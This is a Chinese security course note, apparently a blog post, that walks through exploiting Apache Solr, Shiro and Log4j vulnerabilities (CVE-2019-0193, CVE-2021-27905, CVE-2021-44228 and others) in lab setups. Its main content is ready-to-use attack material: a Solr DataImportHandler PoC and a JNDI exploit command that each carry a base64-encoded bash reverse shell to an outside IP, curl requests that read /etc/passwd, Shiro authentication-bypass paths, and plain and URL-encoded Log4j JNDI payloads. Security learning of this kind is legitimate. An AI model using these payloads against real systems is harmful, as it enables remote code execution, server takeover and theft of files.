【第82课】开发组件安全&Solr搜索&Shiro身份&Log4j日志&本地CVE环境复现

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

知识点:
1、J2EE-组件安全-Solr-全文搜索
2、J2EE-组件安全-Shiro-身份验证
3、J2EE-组件安全-Log4J-日志记录

章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等 JAVA:Spring MyBatis
Hibernate Struts2 Springboot等 Python:Django Flask Bottle Turbobars
Tornado Web2py等 Javascript:Vue.js Node.js Bootstrap JQuery Angular等

常见语言开发组件:(Java)

Apache Solr、Apache Shiro、Apache Struts2、Apache
Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache
hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba
FastJson、Jackson、Log4J、XSteam等。

一、演示案例-J2EE-组件Solr-本地demo&CVE

主要基于HTTP和Apache Lucene实现的全文搜索服务器。

黑盒特征:图标及端口8983
在这里插入图片描述
在这里插入图片描述

1、命令执行(CVE-2019-17558)

影响版本
Apache Solr 5.0.0版本至8.3.1
利用项目

GitHub - jas502n/solr_rce: Apache Solr RCE via Velocity template

D:\Python27\python.exe solr_rce.py http://123.58.236.76:50847 id

在这里插入图片描述

2、远程命令执行漏洞(CVE-2019-0193)

影响版本
Apache Solr < 8.2.0版本

Vulhub - Docker-Compose file for vulnerability environment

条件1

Apache SolrDataImportHandler启用了模块DataImportHandler(默认不会被启用)
在这里插入图片描述
在这里插入图片描述

条件2

Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)
在这里插入图片描述
选择已有核心后选择Dataimport功能并选择debug模式,更改填入以下POC,点击Execute with this Confuguration

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

在这里插入图片描述
在这里插入图片描述

3、Apache Solr 文件读取&SSRF (CVE-2021-27905)

全版本官方拒绝修复漏洞

1、获取数据库名
http://47.94.236.117:8983/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述
在这里插入图片描述

2、访问触发
curl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
    $'http://47.94.236.117:8983/solr/demo/config'

在这里插入图片描述

3、任意文件读取
curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

在这里插入图片描述

二、演示案例-J2EE-组件Shiro-本地demo&CVE

Java安全框架,能够用于身份验证、授权、加密和会话管理。

黑盒特征:数据包cookie里面rememberMe
白盒审计:看调用的shiro库对应版本是否爆过漏洞

在这里插入图片描述

1、CVE_2016_4437 Shiro-550+Shiro-721(RCE)

影响范围

Apache Shiro <= 1.2.4

工具直接搜哈
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、CVE-2020-11989(身份认证绕过)

Poc:/admin/%20
影响范围:Apache Shiro < 1.7.1
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、CVE-2020-1957(身份认证绕过)

Poc:/xxx/..;/admin/
影响范围:Apache Shiro < 1.5.3
在这里插入图片描述
在这里插入图片描述

4、CVE-2022-32532(身份验证绕过)

Poc: /permit/any
/permit/a%0any可绕过
需要依赖代码具体写法,无法自动化,风险较低。
影响范围:Apache Shiro < 1.9.1

三、演示案例-J2EE-组件Log4j-本地demo&CVE

Apache的一个开源项目,是一个基于Java的日志记录框架。

黑盒特征:盲打 会问蓝队攻击特征(${jndi:rmi:///osutj8})

Log4j2远程命令执行(CVE-2021-44228)

漏洞影响的产品版本包括:

Apache Log4j2 2.0 - 2.15.0-rc1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

修复

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、生成反弹Shell的JNDI注入
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117

在这里插入图片描述
在这里插入图片描述

2、构造JNDI注入Payload提交
${jndi:rmi://47.94.236.117:1099/osutj8}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%34%37%2e%39%34%2e%32%33%36%2e%31%31%37%3a%31%30%39%39%2f%6f%73%75%74%6a%38%7d

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值